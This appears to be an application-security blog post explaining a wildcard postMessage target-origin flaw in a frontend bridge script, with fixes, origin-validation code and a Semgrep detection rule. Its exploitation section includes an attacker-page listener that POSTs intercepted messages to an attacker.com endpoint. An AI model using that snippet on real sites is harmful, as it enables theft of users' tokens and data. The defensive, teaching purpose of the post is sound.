Back to Blog
medium SEVERITY6 min read

Wildcard postMessage Origins: When Your Bridge Becomes a Security Gap

A medium-severity vulnerability was discovered in `frontend/resources/js/bridge.js` where `window.postMessage()` was configured with a wildcard (`"*"`) as the target origin, potentially allowing any malicious website to intercept sensitive messages. This misconfiguration opens the door to information disclosure attacks by removing all origin-based restrictions on who can receive cross-frame communications. The fix restricts message delivery to only trusted, explicitly defined origins — closing a

O
By Orbis AppSec
Published May 28, 2026Reviewed June 3, 2026

Answer Summary

This vulnerability is a wildcard postMessage misconfiguration (CWE-346) in JavaScript browser code, specifically in `frontend/resources/js/bridge.js`. Using `"*"` as the target origin in `window.postMessage()` removes all origin-based restrictions, allowing any malicious website in a cross-frame context to intercept sensitive messages. The fix replaces the wildcard with an explicitly defined trusted origin, so the browser only delivers messages to the intended frame or window. This is a medium-severity issue that can lead to information disclosure in applications that pass tokens, user data, or application state via postMessage.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixReplace `"*"` with an explicitly defined, trusted target origin string
riskSensitive cross-frame messages intercepted by any malicious origin
languageJavaScript (Browser)
root cause`window.postMessage()` called with `"*"` instead of a specific trusted origin
vulnerabilityWildcard postMessage Target Origin

Wildcard postMessage Origins: When Your Bridge Becomes a Security Gap

Introduction

Modern web applications frequently need to communicate across different browsing contexts — between iframes, pop-up windows, and embedded widgets. The window.postMessage() API is the standard, built-in mechanism JavaScript provides for this kind of cross-origin communication. Used correctly, it's a powerful and safe tool. Used carelessly, it becomes an open broadcast channel that any malicious website can tune into.

This post breaks down a medium-severity vulnerability found in a frontend bridge script where postMessage was configured with a wildcard target origin ("*"). We'll explore what that means, how an attacker could exploit it, and what the correct fix looks like — along with best practices to keep your cross-origin messaging locked down.


The Vulnerability Explained

What Is window.postMessage()?

The postMessage API allows scripts in one window to send messages to scripts in another window, even across different origins (domains, protocols, or ports). Its signature looks like this:

targetWindow.postMessage(message, targetOrigin);

The second argument, targetOrigin, is a security control. It tells the browser: "Only deliver this message if the receiving window's origin matches this value." If the origins don't match, the message is silently dropped — protecting sensitive data from being delivered to the wrong party.

The Problem: Using "*" as the Target Origin

In the vulnerable code, the call looked something like this:

// ❌ VULNERABLE: Wildcard origin — any window can receive this message
window.parent.postMessage({ token: userAuthToken, userData: sensitiveInfo }, "*");

By passing "*" as the targetOrigin, the developer essentially told the browser: "Deliver this message to anyone, regardless of where they're hosted." The origin check is completely bypassed.

This is equivalent to shouting your bank account number in a crowded room instead of whispering it directly to your accountant.

How Could It Be Exploited?

The attack scenario is straightforward and realistic:

  1. Attacker crafts a malicious page that embeds your legitimate application in an iframe (or tricks a user into navigating to a page that does).
  2. Your application sends a postMessage containing sensitive data — authentication tokens, user profile information, session identifiers, or application state.
  3. The malicious page listens for messages using a message event listener:
// Attacker's malicious page
window.addEventListener("message", function(event) {
    // No origin check needed — the wildcard already delivered the goods
    console.log("Intercepted data:", event.data);
    fetch("https://attacker.com/steal", {
        method: "POST",
        body: JSON.stringify(event.data)
    });
});
  1. Because the target origin is "*", the browser delivers the message without complaint, and the attacker exfiltrates whatever was in it.

What's the Real-World Impact?

Depending on what data your bridge script transmits, the consequences can range from annoying to catastrophic:

Data Exposed Potential Impact
Authentication tokens Account takeover
Session identifiers Session hijacking
User PII Privacy violation, regulatory fines
Internal API endpoints Reconnaissance for further attacks
Feature flags / config Business logic abuse

This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data and is directly referenced in the OWASP HTML5 Security Cheat Sheet as a common postMessage misconfiguration.


The Fix

Restricting the Target Origin

The fix is conceptually simple: replace the wildcard "*" with the explicit origin of the intended recipient window.

// ✅ FIXED: Explicit target origin — only the trusted domain receives this message
const TRUSTED_ORIGIN = "https://your-trusted-domain.com";
window.parent.postMessage({ token: userAuthToken, userData: sensitiveInfo }, TRUSTED_ORIGIN);

Now the browser will only deliver the message if the receiving window's actual origin matches https://your-trusted-domain.com. If an attacker embeds your app and tries to intercept the message, the browser silently drops it.

Always Validate on the Receiving End Too

Fixing the sender is only half the battle. Any message event listener should also validate the event.origin of incoming messages:

// ✅ SECURE: Always validate the sender's origin when receiving messages
window.addEventListener("message", function(event) {
    // Reject messages from untrusted origins
    if (event.origin !== "https://your-trusted-domain.com") {
        console.warn("Rejected message from untrusted origin:", event.origin);
        return;
    }

    // Safe to process the message
    handleBridgeMessage(event.data);
});

This defense-in-depth approach means that even if a wildcard slips through on the sending side, your receiver won't process unexpected messages.

Handling Dynamic Origins Safely

Sometimes the trusted origin isn't known at build time. In those cases, use a whitelist approach:

// ✅ SECURE: Whitelist of allowed origins
const ALLOWED_ORIGINS = new Set([
    "https://app.yourdomain.com",
    "https://embed.yourdomain.com",
    "https://partner.trusteddomain.com"
]);

window.addEventListener("message", function(event) {
    if (!ALLOWED_ORIGINS.has(event.origin)) {
        return; // Silently reject
    }
    handleBridgeMessage(event.data);
});

⚠️ Never use string .includes() or loose pattern matching for origin checks. An attacker could register https://evil-yourdomain.com and pass a naive substring check.


Prevention & Best Practices

1. Never Use "*" When Sending Sensitive Data

The MDN documentation itself states: "Always provide a specific targetOrigin, not *, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site."

Reserve "*" only for truly public, non-sensitive broadcast messages where the content could be safely read by anyone.

2. Validate Origins on Both Sides

Implement origin validation on both the sender (target origin parameter) and the receiver (event.origin check). This defense-in-depth approach is more resilient to configuration mistakes.

3. Keep Message Payloads Minimal

Apply the principle of least privilege to your message data. Don't send entire user objects when only a user ID is needed. Don't include tokens unless the receiving context absolutely requires them.

// ❌ Over-sharing
postMessage({ user: entireUserObject, token: authToken, config: appConfig }, "*");

// ✅ Minimal payload
postMessage({ userId: user.id, action: "refresh" }, TRUSTED_ORIGIN);

4. Use Content Security Policy (CSP)

A well-configured Content-Security-Policy header with frame-ancestors directive can prevent your application from being embedded in untrusted pages in the first place, reducing the attack surface for postMessage interception.

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

5. Static Analysis & Linting

Automate detection of this vulnerability in your CI/CD pipeline:

  • ESLint with security plugins (e.g., eslint-plugin-security) can flag wildcard postMessage usage
  • Semgrep has rules specifically for this pattern (javascript.browser.security.wildcard-postmessage-configuration)
  • SAST tools like the one that caught this vulnerability can scan your codebase continuously

Add a lint rule or custom Semgrep pattern to your pipeline:

# Example Semgrep rule to catch wildcard postMessage
rules:
  - id: wildcard-postmessage
    pattern: $X.postMessage($DATA, "*")
    message: "postMessage with wildcard origin detected. Specify a trusted target origin."
    severity: WARNING
    languages: [javascript, typescript]

6. Security Standards & References


Conclusion

The window.postMessage() wildcard vulnerability is a classic example of a small configuration choice with outsized security consequences. A single "*" in place of a specific origin string transforms a controlled communication channel into an open broadcast — one that any attacker-controlled page can silently intercept.

The good news: the fix is straightforward, the concept is easy to internalize, and automated tooling can catch this pattern before it ever reaches production. The key takeaways are:

  • Always specify an explicit target origin in postMessage() calls when transmitting sensitive data
  • Always validate event.origin in your message event listeners
  • Apply the principle of least privilege to message payloads — send only what's needed
  • Automate detection with SAST tools and linting rules in your CI/CD pipeline

Security in the browser is often about the details. A wildcard that seems convenient during development can become a liability in production. Treat cross-origin message boundaries with the same rigor you'd apply to any API endpoint — because to an attacker, they're just another attack surface waiting to be explored.


Stay secure, and always know who's listening on the other end of your message bridge.

Frequently Asked Questions

What is a wildcard postMessage misconfiguration?

It occurs when `window.postMessage()` is called with `"*"` as the target origin, meaning the browser will deliver the message to any window regardless of its origin, removing the security boundary postMessage is designed to enforce.

How do you prevent wildcard postMessage misconfiguration in JavaScript?

Always specify an explicit target origin (e.g., `"https://trusted.example.com"`) instead of `"*"` when calling `window.postMessage()`, and validate the `event.origin` property in your `message` event listener.

What CWE is wildcard postMessage misconfiguration?

It maps to CWE-346: Origin Validation Error, which covers failures to properly verify the origin of a communication channel.

Is using HTTPS enough to prevent wildcard postMessage interception?

No. HTTPS encrypts data in transit but does not restrict which origins can receive a postMessage. You must explicitly specify the target origin in the `postMessage()` call itself.

Can static analysis detect wildcard postMessage misconfiguration?

Yes. Static analysis tools like Semgrep can detect calls to `window.postMessage()` where the second argument is the string `"*"`, making this a highly automatable finding.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #281

Related Articles

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

high

How CORS credential reflection happens in Hono middleware and how to fix it

A high-severity CORS misconfiguration in Hono's middleware (CVE-2026-54290) allowed any origin to be reflected with credentials when the `origin` option defaulted to wildcard. This vulnerability in the studio frontend could enable attackers to steal authenticated user data through cross-origin requests. The fix upgrades Hono from 4.12.21 to 4.12.25, which properly handles CORS origin validation.

high

How DoS via sparse array deserialization happens in Svelte devalue and how to fix it

A high-severity vulnerability (CVE-2026-42570) was discovered in the devalue library version 5.7.1, used by the Astro-powered website. This vulnerability allowed attackers to trigger denial-of-service conditions through maliciously crafted sparse arrays during deserialization. The fix involved upgrading devalue from 5.7.1 to 5.8.1, which implements proper safeguards against sparse array exploitation.

high

Prototype Pollution in defu's Defaults Argument via `__proto__` Key (CVE-2026-35209)

CVE-2026-35209 is a high-severity prototype pollution vulnerability in the `defu` JavaScript library (versions prior to 6.1.5) that allows attackers to inject arbitrary properties onto `Object.prototype` by passing a `__proto__` key in the defaults argument. The vulnerability was present in the `blog-site` project's dependency tree and was resolved by upgrading `defu` to 6.1.5 and adding an explicit `overrides` entry to prevent transitive re-introduction of the vulnerable version.

critical

How API Key Leakage in Error Messages Gets You Pwned

A critical vulnerability in `gemini-eval.mjs` allowed a live API key to be printed directly into error logs and console output whenever the Gemini API returned an error message containing the key string. The fix introduces runtime redaction of the API key from all error messages before they are logged, preventing accidental exposure in CI/CD pipelines, terminal history, and log aggregation systems. This is a textbook example of how secrets can leak through indirect channels even when developers

low

When innerHTML Meets User Data: Fixing XSS Vulnerabilities in JavaScript

A low-severity Cross-Site Scripting (XSS) vulnerability was identified in `agent_chat.js`, where user-controlled data was being passed directly into DOM manipulation methods like `innerHTML`. While rated low severity, XSS vulnerabilities can be chained with other attacks to steal session tokens, redirect users, or execute arbitrary scripts in a victim's browser. The fix eliminates the unsafe pattern by replacing direct HTML injection with safer DOM manipulation techniques.